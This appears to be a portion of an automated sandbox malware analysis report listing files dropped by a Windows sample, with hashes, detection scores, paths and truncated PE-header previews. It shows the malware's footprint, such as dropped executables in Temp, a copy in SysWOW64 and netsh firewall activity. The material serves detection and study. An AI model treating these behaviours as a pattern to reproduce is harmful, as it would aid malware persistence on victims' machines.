SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3D67.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	294400
Entropy (8bit):	5.161700003924834
Encrypted:	false
SSDEEP:	3072:jeZ5ZOixQx3X3QR6+lnj2D+bLiVsJEarkCVggjcGkNIVqI:jeZ74nAt1MEi1arR7ITsq
MD5:	BB0BA8D31F37E6B9F683EBD9044F1A85
SHA1:	4809E4E2D68DFBAB64E8D0C78DEBCCAB3AFEB219
SHA-256:	5C84D1C4DE9E3BCCD37EA7B64B4EC7551A1D50FA38F70217F0D9B1D79C496F9C
SHA-512:	25E240D39FF1508F9B294F202F81DA68D9F26848A85A698059E004022732AB3D744033D69BD3617C663D5C3FF2EC01D07A10A6E3D13C0EB84A6791F06AA000AA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,?a.Bla.Bla.Bl._.l\|.Bl._.l..Bl._.lO.BlF.9lb.Bla.Cl..Bl._.l`.Bl._.l`.Bl._.l`.BlRicha.Bl........................PE..L.....`................. ...........2.......0....@.............................................................................(.... ...............................1...............................r..@............0...............................text............ .................. ..`.rdata...X...0...Z...$..............@..@.data............"...~..............@....rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\45F8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5F8C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.990411328206368
Encrypted:	false
SSDEEP:	6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW
MD5:	8B239554FE346656C8EEF9484CE8092F
SHA1:	D6A96BE7A61328D7C25D7585807213DD24E0694C
SHA-256:	F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489
SHA-512:	CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(...........PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8............................text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......\|..................@..@.reloc..4F...0...H...l..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6B74.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	357376
Entropy (8bit):	7.848837612305308
Encrypted:	false
SSDEEP:	6144:L5aWbksiNTBCxw++TiSUOTtF08P3A6rZluu2PocRzBcByMFkBrBXwNmQp9Un:L5atNTAduU0tFDdlD2PVRzBeyiuFbAGn
MD5:	98E5E0F15766F21E9DCBEEF7DFB6EBB2
SHA1:	921E1B410528FF10A2C3980E35A8F036FF5E40B3
SHA-256:	5C7BF1968002CFFE455B5651C6D650323EA800AD03FA996A9F96CC01028AB093
SHA-512:	E425628E1A6311EBF57F73213DF8CDA9C8B5E888A6054188485614D1910F9E1CD879D5DE1D284CA9754D6405809FBDCC9FEFB72852ACE8E7357A71099800CC42
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....^...............0....@.........................................................................lq..........L...........................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc...L............\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7E61.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	357376
Entropy (8bit):	7.84824059044154
Encrypted:	false
SSDEEP:	6144:b5aWbksiNTBcMOxjwIPHtnAA8R0O+eNpEj9JE/emtUfMtK+e:b5atNTKpxkIPNnT8f+WEj9JETmUKP
MD5:	56610CBDB784A4F8517C5DE4FF92D85E
SHA1:	9A7DC5A26040DC775C1B3854E6909DFD0ADF84FC
SHA-256:	3B6CBB6FDE5051E6EC3AD23789968670C68F3EF82D8FEBE258E223C1487F42C4
SHA-512:	2CA0753458611C7DC5BFAAE0BA2947E001E6D2E3BD8A4FB447B075D755BFA0566AEA4FCCCC5C97FAE4149CF1A439922B4B14EE4D39B7DF0B26F775FD3F6C8C92
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....^...............0....@.........................................................................lq..........D...........................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc...D............\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9054.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3570176
Entropy (8bit):	7.997630766149595
Encrypted:	true
SSDEEP:	98304:Eyu1PF0IdV1/b4gfya9kofb/4rosp08oUPQH:EjtFp/tfyOTQrosGrUP0
MD5:	DDC599DB99362A7D8642FC19ABE03871
SHA1:	11199134356D8DE145D2EE22AAC37CA8AABA8A0B
SHA-256:	5D94F66FD3315E847213E16E19DFEB008B020798CFFF1334D48AC3344B711F22
SHA-512:	E35DBE56828E804AA78FE436E1717C3A09C416DBE2873FFFC9B44393E7EC2336CE9C544E4D6011C58E7E706819AEABC027AF9A85AA2A2509BDFC39699560ABFD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O.a.................$...................@....@.......................... T.....b.6.....................................\|lO. .....M...................................................................................................................... ..........................@................0......................@...........&....@......................@................0......................@............1...P......................@............02......./.................@....rsrc.........M......40.............@....T3QbYgM.....`O.......1.............@....adata........T......z6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\952.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	313344
Entropy (8bit):	5.385503417493937
Encrypted:	false
SSDEEP:	3072:ODhRp6LR3B/X3Q36+cErZGXrVfAEiphvXRltMMkNkVggjcGkNIVqI:ODhRMRvAzjZGXhfAEivBV7ITsq
MD5:	4C29CFD658E015FA4DB5A2454F103D4A
SHA1:	8F6446343C0EEC5AD7F78F359BFE3CB1774974E6
SHA-256:	52E5252201061F6D1FF2EA00B5DC59A8B0F85FBA7E5F3EF7B3187717431E2DC5
SHA-512:	F611459A65EF60B4FDFE82BFD30EADC53F3122DE0EF00377C7208441C9B9DC001DAD9F5C16E0F12578EF4D2695433F93D4921254F425FE9F52B64F79E6A139AC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,?a.Bla.Bla.Bl._.l\|.Bl._.l..Bl._.lO.BlF.9lb.Bla.Cl..Bl._.l`.Bl._.l`.Bl._.l`.BlRicha.Bl........................PE..L...(6._................. ...".......2.......0....@..........................@......r7..........................................(....`...............................1...............................r..@............0...............................text............ .................. ..`.rdata...X...0...Z...$..............@..@.data............l...~..............@....rsrc........`......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B1F6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3558912
Entropy (8bit):	7.997469140425603
Encrypted:	true
SSDEEP:	98304:yzzKY1eh2yDYShw4LnKd4yYcr8tEY8fhV1T:yzW52yw4rZy3rOEvhv
MD5:	DB3711D2DE8511E1192E6E38988E6989
SHA1:	D33A20FDC9D6E08BB66E355DA3B9B9219E459DDB
SHA-256:	0D5636B8B6C3F9876A0CA4741F8FA704366DDABA6FA65C5BB5740616F8985927
SHA-512:	32ADE75117319A5CB139BA83277F3F5007289A6559BDDC78D1417C7F20219D11F0668AE3743A7B8142562C43170D22CD85C8440D88F1C8509A414234DEFEB76F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O.a.................$...................@....@...........................S......G6.....................................\|.N. ....@M...................................................................................................................... ..........................@................0......................@...........&....@......................@................0......................@...........~....P......................@.............1..p......................@....rsrc........@M......./.............@....MYBFBZj......N.......1.............@....adata........S......N6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CA61.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FD2B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	327168
Entropy (8bit):	5.544004911166714
Encrypted:	false
SSDEEP:	3072:kApM+Wvghk1X3Qvg6+3lpIWnTPCl1Jw62s1pILewTywVggjcGkNIVqI:kApE4kxAvU3lpIWql3Ewkewv7ITsq
MD5:	CEBAF005081C730D4AC7A87E46B440D0
SHA1:	70C9FDA14D6F9B578E795B6FCD015629BA6FBFF5
SHA-256:	4F5A438F45CD46F639F813063DCA15C0D7A6F77BCB5DF788AE8B761A96AE25F5
SHA-512:	E398988945BC2D75D53A822FD482B16C9E780E64620F2663B85F6D9F4076A9397FFBA7EFA7A205A13CD33B77356002BA34F88FA30175241E98F05E7582598410
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,?a.Bla.Bla.Bl._.l\|.Bl._.l..Bl._.lO.BlF.9lb.Bla.Cl..Bl._.l`.Bl._.l`.Bl._.l`.BlRicha.Bl........................PE..L....._................. ...Z.......2.......0....@.................................i...........................................(....................................1...............................r..@............0...............................text............ .................. ..`.rdata..xX...0...Z...$..............@..@.data...x............~..............@....rsrc................ ..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vodibdaj.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\952.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13043712
Entropy (8bit):	6.366947693071425
Encrypted:	false
SSDEEP:	12288:lDhWRvAkYLv7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7QD:loRvA7
MD5:	E331BE085840751FF0AC8DCBCDC5F5E3
SHA1:	131F8E057EB9476CC73080E76BB845A06EDC0964
SHA-256:	520F8BC540C90AF4B21118E2DAFC63878C84C685B2CF8682B94D52E7FA492796
SHA-512:	D33ACFD2E4859615CC2AA383E598B58426940AFD0795AB8B14A34F4C7EE3BCD154E5975D294397D30AB588228F5C04348F53362F3CA51D0FB6CBB7A717CFE293
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,?a.Bla.Bla.Bl._.l\|.Bl._.l..Bl._.lO.BlF.9lb.Bla.Cl..Bl._.l`.Bl._.l`.Bl._.l`.BlRicha.Bl........................PE..L...(6._................. ...".......2.......0....@..........................@......r7..........................................(....`...............................1...............................r..@............0...............................text............ .................. ..`.rdata...X...0...Z...$..............@..@.data............l...~..............@....rsrc........`......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tiftjuh Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	283648
Entropy (8bit):	5.09190119944441
Encrypted:	false
SSDEEP:	3072:AQAT6lATyGd4pXqYMER3QLSeuYerXcyGmofWrxpzbgqru:AQppHZQLSeNcbG/fuzbgwu
MD5:	A7444553F8A8FE2702B6FD48008D6605
SHA1:	F6D3D6CCF728AE7AB39B7E29F21AE5BCC7FCE98B
SHA-256:	BA5303301925A877689B30EFC36F872564F06906B2A61D7C3A7C955B0587D4F8
SHA-512:	28A1EDB043AE30AF213CBFE93745F2D94A4F9F5B76668CBED0889780DC7031E4A6D1CAA839D78035A42769BC13D2D0A376E13E50779807EDBCD3189D44F070BF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L.....?_................. ...........0.......0....@.................................,Q......................................hf..(....... ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata..2?...0...@...$..............@..@.data........p..."...d..............@....rsrc... ...........................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tiftjuh:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114_044950_709.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.386072904720816
Encrypted:	false
SSDEEP:	96:3TCA2po+EP5IT9s2Y7FCHSI2lQJvkzM4zOT2AYFz/UMCprJRpl5N:WZ5rjh2WZOCrh
MD5:	36C1E8F3408F5AB482AB271BEA1CE1FD
SHA1:	383C14C76CA0057C0CD4CFF0E2C5F373D2D7E6D5
SHA-256:	34E2ACEBF493AB5EF65D665DFF258A649B57FACEAAF558017A11DDCD8A5BA935
SHA-512:	70DA15A77F2C3F1AD7BE7EDAD3197FE5D38D5D7BD1EBF8763ED2EEBEA3D29F7B1FF9423B8A79BA2E1DD679506CE69BA2536AD8E4D2B715C1E72A446812551663
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!...........................8................................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... .....%(.*............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.1.4._.0.4.4.9.5.0._.7.0.9...e.t.l.........P.P.8...............................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\bhlprady\vodibdaj.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13043712
Entropy (8bit):	6.366947693071425
Encrypted:	false
SSDEEP:	12288:lDhWRvAkYLv7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7Q7QD:loRvA7
MD5:	E331BE085840751FF0AC8DCBCDC5F5E3
SHA1:	131F8E057EB9476CC73080E76BB845A06EDC0964
SHA-256:	520F8BC540C90AF4B21118E2DAFC63878C84C685B2CF8682B94D52E7FA492796
SHA-512:	D33ACFD2E4859615CC2AA383E598B58426940AFD0795AB8B14A34F4C7EE3BCD154E5975D294397D30AB588228F5C04348F53362F3CA51D0FB6CBB7A717CFE293
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,?a.Bla.Bla.Bl._.l\|.Bl._.l..Bl._.lO.BlF.9lb.Bla.Cl..Bl._.l`.Bl._.l`.Bl._.l`.BlRicha.Bl........................PE..L...(6._................. ...".......2.......0....@..........................@......r7..........................................(....`...............................1...............................r..@............0...............................text............ .................. ..`.rdata...X...0...Z...$..............@..@.data............l...~..............@....rsrc........`......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\IdentityCRL\production\tmpconfig.xml Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	12703
Entropy (8bit):	5.664727316652114
Encrypted:	false
SSDEEP:	192:Tu8vk5/2HBw1tY3LZC7URIwKZ1bSvHSm5128Zil7Or5QwhJlAi:Tu8+2xZJRIwKZzm5yKFX
MD5:	0516512FF97C0F1DF67ED56A848B02A9
SHA1:	F50B8012260B8085EE1F350F78D8F3D24FB4F5EF
SHA-256:	41BE64D933BE2102AB9651C6478959EDB3763A7AA7B32E4E086150F7F13CE7A0
SHA-512:	CE06CA9414EF56987D45D43253DA96B53074BFED48DC4383AAF8EFC78CC3EEF2B982738CC7AEF9E3F750A2F55EF14EEED3F077026ADDC07C4D01D36BFB3A767C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="us-ascii"?><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><cfg:Configuration version="1.1" xmlns:cfg="http://schemas.microsoft.com/Passport/PPCRL"> .. When a certificate is rev'd, a line like the following should be .. added to the cfg:Settings section:.. <cfg:Certificate expired="true">SLCA_BACKUP.CER</cfg:Certificate>.. --><cfg:Settings><cfg:DeviceDNSSuffix>.devicedns.live.com</cfg:DeviceDNSSuffix><cfg:ResolveTimeout>120000</cfg:ResolveTimeout><cfg:ConnectTimeout>60000</cfg:ConnectTimeout><cfg:SendTimeout>30000</cfg:SendTimeout><cfg:ReceiveTimeout>30000</cfg:ReceiveTimeout><cfg:MinMinutesBetweenMetaConfigCheck>1440</cfg:MinMinutesBetweenMetaConfigCheck><cfg:ConfigServerSslURI>https://go.microsoft.com/fwlink/?LinkId=859524</cfg:ConfigServerSslURI><cfg:DIDCOMMetaData><cfg:DIDWithAuth>1</cfg:DIDWithAuth><cfg:AssocPDIDToLDID>1</cfg:AssocPDIDToLDID><cfg:Protocol><cfg:CLSID>{1C109E4C-2F30-4EA3-A57A-A290877A2303}</cfg:CLSID><cfg:DATA

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.261542646947877
Encrypted:	false
SSDEEP:	12288:WDry9CsWH6WqxQJKo3pscOBnAykoTjuWKSZ/J4F2U5+DWu4UTKDFmkM9:Wry9CsWH6WqxQJKV5DZ9
MD5:	9DD1B2C13E54BFBDDC233A2107B3AFA1
SHA1:	19F44BC959620448A9E8E45198902EB667D3F0FF
SHA-256:	D91CC5B510FF718D8CED59A261914ABEB72B96FB40418949E6B1DF993BB949BE
SHA-512:	91B5CDDA3FF1363663AB4B897869EF1C39FD8F722048887CEB7AA513C05AB6DD7183EDC72E4B3FE63B0C4140C4D2AEE0B2C9DC5CBA3EAC9C40E6913FF23940AD
Malicious:	false
Reputation:	unknown
Preview:	regfQ...Q...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm"."A................................................................................................................................................................................................................................................................................................................................................`').........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	3.7809311639586114
Encrypted:	false
SSDEEP:	384:co65rZrdFdXp5xQp8JXQnxOf2oLPmxwpe5GjZmGudDTTVv5N5/sTCef:vk1rFXp4pHgf2oqxwpCWmGutTVRN5gCe
MD5:	28554A0C6B33D9BF5BA5149FFD57ED28
SHA1:	D61C244F3A5C9FF4891DF70831A455ADE9ADFF6C
SHA-256:	2933C4D27D58B26EA5F4662F16E54A62CC44CD39CBC0D40B86168E97E35345B7
SHA-512:	E7A739F019DC7EADCD94676324AB1B9FE76D75EDAABFE6785A97F23FA35DA8653103C2E77D20EE0FC07DE38668EE291A3DBB6C50412804F5F16F70B6F3C29E5A
Malicious:	false
Reputation:	unknown
Preview:	regfP...P...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm"."A................................................................................................................................................................................................................................................................................................................................................f').HvLE.^......P...........~h>....L+................................ ..hbin................p.\..,..........nk,...$A.................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ...$A........ ...........P............... .......Z.......................Root........lf......Root....nk ...$A.....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Reputation:	unknown
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.09190119944441
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	emPJndhuvA.exe
File size:	283648
MD5:	a7444553f8a8fe2702b6fd48008d6605
SHA1:	f6d3d6ccf728ae7ab39b7e29f21ae5bcc7fce98b
SHA256:	ba5303301925a877689b30efc36f872564f06906b2a61d7c3a7c955b0587d4f8
